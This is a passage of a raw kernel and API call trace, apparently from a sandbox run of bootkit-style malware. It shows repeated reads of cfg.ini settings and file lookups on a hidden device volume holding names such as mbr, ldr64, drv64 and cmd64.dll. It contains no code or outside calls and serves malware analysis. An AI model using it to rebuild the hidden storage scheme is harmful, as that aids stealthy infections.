VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0128.959] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0128.959] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0128.959] IdePortDispatch () returned 0x103 [0128.959] KeWaitForMutexObject () returned 0x0 [0128.960] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0128.960] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0128.960] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0128.960] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0128.960] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0128.960] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa80037ed6c0 [0128.960] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.960] KeLeaveCriticalRegion () [0128.960] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0128.960] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.960] KeEnterCriticalRegion () [0128.960] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.960] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0128.960] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.960] KeLeaveCriticalRegion () [0128.960] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.960] KeEnterCriticalRegion () [0128.960] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.960] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0128.960] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0128.960] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0128.960] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0128.960] IdePortDispatch () returned 0x103 [0128.960] KeWaitForMutexObject () returned 0x0 [0128.960] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0128.960] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.960] KeLeaveCriticalRegion () [0128.960] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0128.960] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.961] KeEnterCriticalRegion () [0128.961] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.961] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88000b73000 [0128.961] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0128.961] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0128.961] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0128.961] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0128.961] IdePortDispatch () returned 0x103 [0128.961] KeWaitForMutexObject () returned 0x0 [0128.961] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0128.961] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0128.961] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0128.961] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0128.961] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0128.961] IdePortDispatch () returned 0x103 [0128.961] KeWaitForMutexObject () returned 0x0 [0128.961] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.961] KeLeaveCriticalRegion () [0128.961] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0128.962] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.962] KeEnterCriticalRegion () [0128.962] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.962] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0128.962] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.962] KeLeaveCriticalRegion () [0128.962] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.962] KeEnterCriticalRegion () [0128.962] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.962] IoGetRequestorProcess (Irp=0xfffffa8003aa6e20) returned 0xfffffa80034fca60 [0128.962] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003c02980, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0128.962] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.962] KeLeaveCriticalRegion () [0128.962] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0128.962] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.962] KeEnterCriticalRegion () [0128.962] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.962] ExFreePoolWithTag (P=0xfffffa80037ed6c0, Tag=0x0) [0128.962] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.962] KeLeaveCriticalRegion () [0128.962] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0128.962] ReleaseMutex (hMutex=0xf0) returned 1 [0128.962] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0128.962] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0128.962] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.962] KeEnterCriticalRegion () [0128.962] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.963] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0128.963] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0128.963] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0128.963] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0128.963] IdePortDispatch () returned 0x103 [0128.963] KeWaitForMutexObject () returned 0x0 [0128.963] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0128.963] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0128.963] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0128.963] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0128.963] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0128.963] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003c01570 [0128.963] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.963] KeLeaveCriticalRegion () [0128.963] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0128.963] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.963] KeEnterCriticalRegion () [0128.963] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.963] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0128.963] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.963] KeLeaveCriticalRegion () [0128.963] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.963] KeEnterCriticalRegion () [0128.963] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.963] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0128.963] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0128.963] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0128.963] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0128.963] IdePortDispatch () returned 0x103 [0128.963] KeWaitForMutexObject () returned 0x0 [0128.964] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0128.964] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.964] KeLeaveCriticalRegion () [0128.964] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0128.964] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.964] KeEnterCriticalRegion () [0128.964] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.964] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88000b74000 [0128.964] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0128.964] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0128.964] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0128.964] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0128.964] IdePortDispatch () returned 0x103 [0128.964] KeWaitForMutexObject () returned 0x0 [0128.964] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0128.964] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0128.964] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0128.964] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0128.964] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0128.964] IdePortDispatch () returned 0x103 [0128.964] KeWaitForMutexObject () returned 0x0 [0128.965] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.965] KeLeaveCriticalRegion () [0128.965] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0128.965] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.965] KeEnterCriticalRegion () [0128.965] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.965] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0128.965] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.965] KeLeaveCriticalRegion () [0128.965] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.965] KeEnterCriticalRegion () [0128.965] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.965] IoGetRequestorProcess (Irp=0xfffffa8003aa6e20) returned 0xfffffa80034fca60 [0128.965] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa80037e1f20, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0128.965] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.965] KeLeaveCriticalRegion () [0128.965] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0128.965] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.965] KeEnterCriticalRegion () [0128.965] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.965] ExFreePoolWithTag (P=0xfffffa8003c01570, Tag=0x0) [0128.965] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.965] KeLeaveCriticalRegion () [0128.965] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0128.966] ReleaseMutex (hMutex=0xf0) returned 1 [0128.966] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0128.966] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="delay", nDefault=3600, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0xe10 [0128.966] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.966] KeEnterCriticalRegion () [0128.966] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.966] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0128.966] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0128.966] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0128.966] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0128.966] IdePortDispatch () returned 0x103 [0128.966] KeWaitForMutexObject () returned 0x0 [0128.966] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0128.966] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0128.966] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0128.966] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0128.966] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0128.966] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003649870 [0128.966] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.966] KeLeaveCriticalRegion () [0128.966] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0128.966] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.966] KeEnterCriticalRegion () [0128.966] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.966] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0128.966] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.966] KeLeaveCriticalRegion () [0128.966] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.966] KeEnterCriticalRegion () [0128.966] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.966] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0128.966] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0128.967] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0128.967] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0128.967] IdePortDispatch () returned 0x103 [0128.967] KeWaitForMutexObject () returned 0x0 [0128.967] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0128.967] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.967] KeLeaveCriticalRegion () [0128.967] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0128.967] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.967] KeEnterCriticalRegion () [0128.967] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.967] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88000b75000 [0128.967] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0128.967] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0128.967] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0128.967] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0128.967] IdePortDispatch () returned 0x103 [0128.967] KeWaitForMutexObject () returned 0x0 [0128.967] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0128.967] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0128.967] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0128.967] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0128.967] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0128.967] IdePortDispatch () returned 0x103 [0128.967] KeWaitForMutexObject () returned 0x0 [0128.968] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.968] KeLeaveCriticalRegion () [0128.968] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0128.968] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.968] KeEnterCriticalRegion () [0128.968] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.968] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0128.968] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.968] KeLeaveCriticalRegion () [0128.968] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.968] KeEnterCriticalRegion () [0128.968] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.968] IoGetRequestorProcess (Irp=0xfffffa8003aa6e20) returned 0xfffffa80034fca60 [0128.968] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003c02f20, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0128.968] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.968] KeLeaveCriticalRegion () [0128.968] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0128.968] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.969] KeEnterCriticalRegion () [0128.969] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.969] ExFreePoolWithTag (P=0xfffffa8003649870, Tag=0x0) [0128.969] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.969] KeLeaveCriticalRegion () [0128.969] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0128.969] ReleaseMutex (hMutex=0xf0) returned 1 [0128.969] WaitForSingleObject (hHandle=0x108, dwMilliseconds=0x0) returned 0x102 [0128.969] WaitForSingleObject (hHandle=0x100, dwMilliseconds=0xffffffff) returned 0x0 [0128.969] CreateFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp"), dwDesiredAccess=0x80000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffffffffffff [0128.969] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0128.969] KeEnterCriticalRegion () [0128.969] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.969] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0128.969] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0128.969] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0128.969] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0128.969] IdePortDispatch () returned 0x103 [0128.969] KeWaitForMutexObject () returned 0x0 [0128.969] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0128.969] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0128.969] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0128.969] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0128.969] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0128.969] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0128.969] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0128.969] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0128.969] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0128.969] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0128.969] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0128.969] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0128.969] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0128.969] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0128.969] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0128.969] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.970] KeLeaveCriticalRegion () [0128.970] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0128.970] DeleteFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp")) returned 0 [0128.970] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0128.970] KeEnterCriticalRegion () [0128.970] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.970] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0128.970] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, 